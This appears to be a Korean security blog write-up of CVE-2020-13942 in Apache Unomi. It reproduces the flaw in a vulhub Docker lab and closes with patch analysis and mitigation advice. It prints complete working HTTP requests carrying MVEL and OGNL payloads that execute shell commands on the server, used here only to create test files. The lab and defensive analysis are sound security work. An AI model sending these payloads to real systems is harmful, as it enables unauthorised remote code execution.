1. Apache Unomi

- Apache Unomi는 고객 및 방문자 등의 데이터를 관리하고, 개인정보 규범들(ex: GDPR)을 준수하며, 고객의 경험을 개인화 하는 자바 오픈소스 고객데이터플랫폼(CDP- Customer Data Platform)

 

| Main Page

Apache Unomi™: The Open Source Customer Data Platform Apache Unomi™ (pronounced "You know me") is a Java Open Source customer data platform, a Java server designed to manage customers, leads and visitors data and help personalize customers experiences

unomi.apache.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2020-13942

- 취약한 버전의 Apache Unomi를 사용하면 /context.json을 통해 MVEL 및 OGNL 표현식을 사용하여 Unomi 애플리케이션 권한으로 원격 코드 실행이 가능

- 해당 취약점은 Unomi 1.5.1에서 부분적으로 패치가 되었음

취약한 버전 : Apache Unomi < 1.5.2

 

2.1 취약점 실습

* https://unomi.apache.org/tutorial.html를 참조해 직접 설치하려 했으나 karaf 실행 후 멈춤 현상이 발생하여 도커 사용

 

- 취약 서버 구동 후 정상 접근 확인

git clone https://github.com/vulhub/vulhub
cd /​vulhub/unomi/CVE-2020-13942
docker-compose up -d

 

[사진 2] 취약 서버 구동(위) 및 정상 접근 확인(아래)

2.1.1 MVEL 표현식

MVEL 표현식 (MVLEX Expression Language)
- 자바 플랫폼을 위한 동적/정적 유형의 임베디드 가능한 표현 언어이자 런타임

- 프록시 설정 후 버프슈트를 통한 요청 값 변조

① POST 메소드로 /context.json URL 요청

② /tmp 디렉터리에 임의의 파일을 생성하는 MVEL 표현식 삽입

POST /context.json HTTP/1.1
Host: 192.168.56.112:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/MVELTest\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

 

[사진 3] 조작된 요청 전송 및 200 응답

- 와이어샤크로 해당 패킷을 확인해보면 다음과 같음

[사진 4] 와이어샤크 패킷 확인

- 피해 시스템의 /tmp 디렉터리를 확인해보면 MVLETest 파일이 생성

[사진 5] MVELTest 파일 생성

2.2.2 OGNL 표현식

OGNL (Object Graph Navigation Language)
- 자바 언어가 지원하는 범위보다 더 단순한 식을 사용하면서 속성을 가져와 설정하는 것을 허용하고 자바 클래스의 메소드를 실행하는 오픈 소스 표현식 언어(EL)

- 프록시 설정 후 버프슈트를 통한 요청 값 변조

① POST 메소드로 /context.json URL 요청

② /tmp 디렉터리에 임의의 파일을 생성하는 OGNL 표현식 삽입

POST /context.json HTTP/1.1
Host: 192.168.56.112:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/OGNLTest\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
}

 

[사진 6] 조작된 요청 전송 및 200 응닶 확인

- 와이어샤크로 해당 패킷을 확인해보면 다음과 같음

[사진 7] 와이어샤크 패킷 확인

- 피해 시스템의 /tmp 디렉터리를 확인해보면 OGNLTest 파일이 생성

[사진 8] OGNLTest 파일 생성

 

2.2 분석

- [사진 9]는 CVE-2020-11975(Unomi OGNL 표현식 RCE)에 적용된 패치

- OGNL 표현식에 대해서는 허용/차단 목록을 통해 실행을 제한하였지만, MVEL 표현식은 적용되지 않음_[사진 1] Unomi 1.5.1 부분 패치 적용

- MVEL 표현식에 대한 실행 제한은 Unomi 1.5.2부터 적용된 것으로 판단됨.

[사진 9] CVE-2020-11975에 대한 패치

3. 대응방안

3.1 서버측면

① 최신 버전 또는 1.5.2 버전으로 즉시 업데이트 적용

- 1.5 이전 버전은 OGNL 및 MVEL 표현식에의한 RCE 가능

- 1.5.1 버전은 MVEL 표현식에 의한 RCE 가능

 

3.2 네트워크 측면

 탐지 룰 적용 및 모니터링, 차단

- PoC를 통해 POST 메소드를 통한 /context.json URL 요청이 확인되므로 해당 문자열을 탐지

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2020-13942
https://github.com/eugenebmx/CVE-2020-13942
https://github.com/vulhub/vulhub
https://sysdig.com/blog/cve-2020-13942-uomi/
https://unomi.apache.org/security/cve-2020-13942.txt

+ Recent posts